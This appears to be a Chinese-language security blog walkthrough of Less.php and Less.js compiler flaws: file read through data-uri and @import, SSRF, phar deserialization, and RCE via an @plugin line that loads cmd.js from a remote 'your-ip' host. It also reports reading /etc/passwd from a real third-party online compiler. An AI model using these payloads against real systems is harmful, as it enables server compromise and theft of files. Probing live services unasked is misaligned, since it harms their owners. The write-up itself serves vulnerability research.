简介
Less是一个完全兼容CSS的语言
并在CSS的基础上提供了很多高级语法与功能,比如CSS中不支持的条件判断与循环,相当于是CSS语言的超集。
前端开发者使用Less编写的程序,可以通过编译器转换成合法的CSS语法,提供给浏览器进行渲染。
常见的编译器有nodejs的Less.js、php的less.php
Less.php漏洞
环境安装:
1 | #使用composer安装 |
任意文件读取
data-uri
在less官网可以看到一个函数data-uri,该函数用于读取文件并转换成data协议输出在css中
我们再看到分析less.php
是如何处理该函数的,在Functions.php的第851行我们可以看到如下处理代码
1 | public function datauri( $mimetypeNode, $filePathNode = null ) { |
这是一个可以控制完整路径的文件读取漏洞
所以我们只需构造如下less代码交给Less.php解析即可读取任意文件
1 | <?php |
@import
在CSS或Less中,@import
用于导入外部CSS,类似于PHP中的include。当在服务器端处理Less代码时,这可用于SSRF和本地文件泄露。
分析源码在Import.php的第171行我们可以发现如下语句
1 | if( $this->options['inline'] ){ |
只要选项是$this->options['inline']
为True
即可没有限制的file_get_contents($full_path)
,而在@import
语句后面指定inline
选项即可使得条件成立。
所以我们也可以通过@import读取到文件内容
1 |
|
SSRF
@import
在@import
中无限制的file_get_contents
可以用来访问url,从而造成SSRF漏洞
1 | <?php |
phar反序列化
data-uri
在上面的源码中我们可以看到data-uri
处理时先会file_exists( $filePath )
进行判断,而file_exists
是可以解析phar的
所以我们就可以利用这一点进行phar反序列化
的利用
1 | <?php |
文件头部写入
@import
在Less.php底层,@import
时有如下判断逻辑:
-
如果发现包含的文件是less,则对其进行编译解析,并将结果输出在当前文件中
-
如果发现包含的文件是css,则不对其进行处理,直接将
@import
这个语句输出在页面最前面
第二种情况可以“控制”文件头,虽然可控的内容只是一个@import
语句。但我们data:
协议来控制其写入任意的文件头部内容
该方法只能控制css文件的头部,一般结合文件包含或者phar反序列化来使用。
比如
1 | <?php |
其他
在寻找less.php的过程中,发现如下源码库https://github.com/leafo/lessphp
发现star数很多,但版本较老,根据安装提示下载了lessc.inc.php并使用如下语句进行任意文件读取等漏洞测试
1 | <?php |
发现无法读取文件
跟进查看发现其对data-uri的实现是这样的
1 | protected function lib_data_uri($value) { |
其中findImport
会判断传入的url如果url末尾不存在\
就在url的开头加上\
,然后再判断路径是否存在,存在则返回路径,也就是说我们的url被解析为了/C:/Windows/win.ini
,而这个文件是不存在的。所以$fullpath
为空自然无法读取到文件。
在linux下因为根目录为/
所以这个问题不显著,且也可以解析//etc/passwd
而在windows下/
可以表示当前盘符,所以我们可以在路径前去掉盘符来读取任意文件,但这也只能读取当前盘符的文件了
原因嘛…我猜测是less.php版本太低还没优化好
Less.js漏洞
环境安装
1 | #使用官方文档的安装方法 |
远程RCE
Less.js库支持插件,这些插件可以使用@plugin语法直接包含在远程的Less代码中。插件使用JavaScript编写,当Less代码被解释时,任何包含的插件都会执行。这可能会导致两种结果,具体取决于Less处理器的上下文。如果在客户端处理Less代码,则会导致跨站脚本攻击。如果在服务器端处理Less代码,则会导致远程代码执行。所有支持 @plugin语法的Less版本都容易受到攻击。
原理是利用@plugin
加载远程js代码(有格式要求)的功能配合nodejs的代码执行函数实现RCE
新建一个cmd.js
内容如下,将其上传到远程服务器并能被远程访问到
1 | registerPlugin({ |
构造cmd.less
文件,内容如下
1 | @plugin "http://your-ip:8888/cmd.js"; |
在命令行中执行以下指令,将less文件转换为css文件并执行恶意指令
1 | lessc cmd.less result.css |
可以看到远程主机上的cmd.js
被访问
任意文件读取
和less.php的两种读取方法构造的less文件相同
SSRF
和less.php的ssrf构造的less文件相同
真实示例
找到一个国外less-to-css的在线网站,测试使用data-uri读取任意文件
成功读取到/etc/passwd